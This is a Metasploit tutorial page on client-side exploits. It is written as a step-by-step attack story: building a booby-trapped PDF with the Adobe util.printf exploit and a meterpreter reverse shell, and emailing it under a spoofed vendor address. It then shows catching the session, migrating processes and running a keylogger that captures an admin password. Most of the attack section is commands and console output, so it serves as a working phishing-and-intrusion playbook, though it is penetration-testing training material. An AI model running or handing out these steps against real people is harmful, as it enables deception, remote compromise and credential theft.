Client Side Exploits a11y.text Client Side Exploits Client Side Exploits in Metasploit a11y.text Client Side Exploits in Metasploit As we have already discussed, Metasploit has many uses and another one we will discuss here is client side exploits. To show the power of how MSF can be used in client side exploits we will use a story. In the security world, social engineering has become an increasingly used attack vector. Even though technologies are changing, one thing that seems to stay the same is the lack of security with people. Due to that, social engineering has become a very â€œhotâ€• topic in the security world today. In our first scenario our attacker has been doing a lot of information gathering using tools such as the Metasploit Framework, Maltego and other tools to gather email addresses and information to launch a social engineering client side exploit on the victim. After a successful dumpster dive and scraping for emails from the web, he has gained two key pieces of information. They use â€œBest Computersâ€• for technical services. The IT Dept has an email address of itdept@victim.com We want to gain shell on the IT Departments computer and run a key logger to gain passwords, intel or any other juicy tidbits of info. We start off by loading our msfconsole . After we are loaded we want to create a malicious PDF that will give the victim a sense of security in opening it. To do that, it must appear legit, have a title that is realistic, and not be flagged by anti-virus or other security alert software. We are going to be using the Adobe Reader â€˜util.printf()â€™ JavaScript Function Stack Buffer Overflow Vulnerability. Adobe Reader is prone to a stack-based buffer-overflow vulnerability because the application fails to perform adequate boundary checks on user-supplied data. An attacker can exploit this issue to execute arbitrary code with the privileges of the user running the application or crash the application, denying service to legitimate users. So we start by creating our malicious PDF file for use in this client side exploit.

```
msf > use exploit/windows/fileformat/adobe_utilprintf
msf exploit(adobe_utilprintf) > set FILENAME BestComputers-UpgradeInstructions.pdf
FILENAME => BestComputers-UpgradeInstructions.pdf
msf exploit(adobe_utilprintf) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
```

```
msf exploit(adobe_utilprintf) > set LHOST 192.168.8.128

LHOST => 192.168.8.128

msf exploit(adobe_utilprintf) > set LPORT 4455

LPORT => 4455

msf exploit(adobe_utilprintf) > show options


Module options (exploit/windows/fileformat/adobe_utilprintf):


   Name      Current Setting                      Required  Description

   ----      ---------------                      --------  -----------

   FILENAME  BestComputers-UpgradeInstructions.pdf  yes       The file name.




Payload options (windows/meterpreter/reverse_tcp):


   Name      Current Setting  Required  Description

   ----      ---------------  --------  -----------

   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)

   LHOST     192.168.8.128    yes       The listen address

   LPORT     4455             yes       The listen port




Exploit target:


   Id  Name

   --  ----
```

0 Adobe Reader v8.1.2 (Windows XP SP3 English) Once we have all the options set the way we want, we run exploit to create our malicious file. msf exploit(adobe_utilprintf) > exploit

```
[*] Creating 'BestComputers-UpgradeInstructions.pdf' file...
[*] BestComputers-UpgradeInstructions.pdf stored at
/root/.msf4/local/BestComputers-UpgradeInstructions.pdf
```

msf exploit(adobe_utilprintf) > So we can see that our pdf file was created in a sub-directory of where we are. So lets copy it to our /tmp directory so it is easier to locate later on in our exploit. Before we send the malicious file to our victim we need to set up a listener to capture this reverse connection. We will use msfconsole to set up our multi handler listener. msf > use exploit/multi/handler

```
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LPORT 4455
LPORT => 4455
msf exploit(handler) > set LHOST 192.168.8.128
LHOST => 192.168.8.128
msf exploit(handler) > exploit

[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
```

[*] Starting the payload handler... Now that our listener is waiting to receive its malicious payload we have to deliver this payload to the victim and since in our information gathering we obtained the email address of the IT Department we will use a handy little script called sendEmail to deliver this payload to the victim. With a kung-fu one-liner, we can attach the malicious pdf, use any smtp server we want and write a pretty convincing email from any address we wantâ€¦. root@kali : ~ #

```
sendEmail -t itdept@victim.com -f techsupport@bestcomputers.com -s 192.168 .8.131 -u Important
Upgrade Instructions -a /tmp/BestComputers-UpgradeInstructions.pdf Reading message body from
STDIN because the '-m' option was not used.
If you are manually typing in a message:
  - First line must be received within 60 seconds.
  - End manual input with a CTRL-D on its own line.

IT Dept,

We are sending this important file to all our customers. It contains very important instructions for
upgrading and securing your software. Please read and let us know if you have any problems.

Sincerely,

Best Computers Tech Support
Aug 24 17:32:51 kali sendEmail[13144]: Message input complete.
Aug 24 17:32:51 kali sendEmail[13144]: Email was sent successfully!
```

As we can see here, the script allows us to put any FROM (-f) address, any TO (-t) address, any SMTP (-s) server as well as Titles (-u) and our malicious attachment (-a). Once we do all that and press enter we can type any message we want, then press CTRL+D and this will send the email out to the victim. Now on the victimâ€™s machine, our IT Department employee is getting in for the day and logging into his computer to check his email. He sees the very important document and copies it to his desktop as he always does, so he can scan this with his favorite anti-virus program. As we can see, it passed with flying colors so our IT admin is willing to open this file to quickly implement these very important upgrades. Clicking the file opens Adobe but shows a greyed out window that never reveals a PDF. Instead, on the attackers machine what is revealedâ€¦.

```
[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler

[*] Starting the payload handler...

[*] Sending stage (718336 bytes)

session[*] Meterpreter session 1 opened (192.168.8.128:4455 -> 192.168.8.130:49322)
```

meterpreter > We now have a shell on their computer through a malicious PDF client side exploit. Of course what would be wise at this point is to move the shell to a different process, so when they kill Adobe we donâ€™t lose our shell. Then obtain system info, start a key logger and continue exploiting the network. meterpreter > ps

```
Process list
============


   PID   Name           Path
   ---   ----           ----
   852   taskeng.exe     C:\Windows\system32\taskeng.exe
   1308  Dwm.exe         C:\Windows\system32\Dwm.exe
   1520  explorer.exe    C:\Windows\explorer.exe
   2184  VMwareTray.exe  C:\Program Files\VMware\VMware Tools\VMwareTray.exe
   2196  VMwareUser.exe  C:\Program FilesVMware\VMware Tools\VMwareUser.exe
   3176  iexplore.exe    C:\Program Files\Internet Explorer\iexplore.exe
   3452  AcroRd32.exe    C:\Program Files\AdobeReader 8.0\ReaderAcroRd32.exe


meterpreter > run post/windows/manage/migrate


[*] Running module against V-MAC-XP
[*] Current server process: svchost.exe (1076)

[*] Migrating to explorer.exe...

[*] Migrating into process ID 816

[*] New server process: Explorer.EXE (816)


meterpreter > sysinfo

Computer: OFFSEC-PC

OS      : Windows Vista (Build 6000, ).


meterpreter > use priv

Loading extension priv...success.


meterpreter > run post/windows/capture/keylog_recorder


[*] Executing module against V-MAC-XP

[*] Starting the keystroke sniffer...

[*] Keystrokes being saved in to

/root/.msf4/loot/20110323091836_default_192.168.1.195_host.windows.key_832155.txt

[*] Recording keystrokes...


root@kali:~# cat

/root/.msf4/loot/20110323091836_default_192.168.1.195_host.windows.key_832155.txt

Keystroke log started at Wed Mar 23 09:18:36 -0600 2011

Support,   I tried to open ti his file 2-3 times with no success.  I even had my admin and CFO tru   y

it, but no one can get it to p open.  I turned on the rmote access server so you can log in to fix our p

      this problem.  Our user name is admin and password for that session is 123456.   Call or eme
```

ail when you are done.   Thanks IT Dept Next VBScript Infection Methods Prev Binary Linux Trojan